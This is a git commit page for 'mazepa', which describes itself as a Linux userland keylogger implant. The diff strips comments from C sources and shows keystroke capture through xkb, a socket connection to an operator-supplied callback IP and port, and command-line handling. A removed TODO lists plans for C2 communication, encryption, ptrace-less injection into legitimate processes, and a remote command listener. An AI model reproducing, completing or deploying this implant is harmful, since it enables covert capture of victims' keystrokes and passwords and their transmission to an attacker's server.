mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit e6619a810e912647053b4adee0ddea3f80b02cb7
parent 44d80f2a51a88c183038fda5d29e7395572bf32e
Author: winds0r <[email protected]>
Date: Fri, 29 Sep 2023 16:48:52 +0200

chore(implant): removed out-of-date comments

Diffstat:
Mimplant/includes/implant.h | 11-----------
Mimplant/sources/logger.c | 6------
Mimplant/sources/net.c | 3+--
Mimplant/sources/opt.c | 7++-----
Mimplant/sources/utils.c | 6++----

5 files changed, 5 insertions(+), 28 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -2,17 +2,6 @@
 #ifndef IMPLANT_H
 #define IMPLANT_H
 
-/*
-    TODO:
-
-    - add message_queue for each key logged
-    - communication with remote server (& logging if debug!!)
-    - add support for TLS communications / some kind of enc.
-    - enumerate process to see which can be interesting to inject into
-    - use ptrace-less process injection to inject this in a legit program
-    - add listener to receive commands such as (sleep, enumeration, etc...)
-*/
-
 
 #include <sys/types.h>
 #include <stdint.h>
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,9 +1,4 @@
 
-/*
-   key-logging is done here......yeah
-*/
-
-
 #include "implant.h"
 #include <alloca.h>
 #include <bits/types/struct_timeval.h>
@@ -86,7 +81,6 @@ static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRI
         xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
 
 #ifdef DEBUG
-        /* tracing this in stdout so that errors can be cleanly sent to a file */
         printf("[+] Key pressed: %s\n", *key_desc_ptr);
 #endif
 
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -98,7 +98,7 @@ int init_remote_connection(implant_t *instance) {
     struct sockaddr_in addr = {
         .sin_family = AF_INET,
         .sin_port = htons(instance->port),
-        .sin_addr.s_addr = inet_addr(instance->ip) /* FIXME(djnn): support for domain names */
+        .sin_addr.s_addr = inet_addr(instance->ip)
     };
 
 
@@ -119,7 +119,6 @@ int init_remote_connection(implant_t *instance) {
         return -1;
     }
 
-    /* connecting to remote server */
     if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
 
 #ifdef DEBUG
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -1,6 +1,6 @@
 /*
    program's imput handling is handled here.
-   */
+*/
 
 
 #include <getopt.h>
@@ -13,7 +13,7 @@
 
 static void help_mode(char const *binary_path) {
 #ifdef DEBUG
-    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n-n\tNo network connection", binary_path);
+    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-n\tDisable network connection (for debug)\n", binary_path);
 #else
     (void)binary_path;
 #endif
@@ -34,18 +34,15 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
         switch (c) {
 
 #ifdef DEBUG
-            /* allow debug mode not to have a remote connection for testing */
             case 'n':
                 settings->disable_net = 1;
                 break;
 #endif
             case 'i':
-                /* we got an IP address */
                 strncpy((char *)&settings->ip, optarg, 255);
                 break;
 
             case 'p':
-                /* we got a port */
                  settings->port = (unsigned short)strtoul(optarg, NULL, 0);
                  break;
 
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -21,9 +21,7 @@
 #include <ctype.h>
 #include <stdio.h>
 
-/*
-   just a little utility function to read a generic text file.
-*/
+
 int read_file(char const *path, char **buffer) {
 
     int fd = open(path, O_RDONLY);
@@ -34,7 +32,7 @@ int read_file(char const *path, char **buffer) {
         return ERROR;
     }
 
-     // could use fseek but stat is posix so let's use that
+     /* could use fseek but stat is posix so let's use that */
     struct stat st;
     if (0 > fstat(fd, &st)) {
 #ifdef DEBUG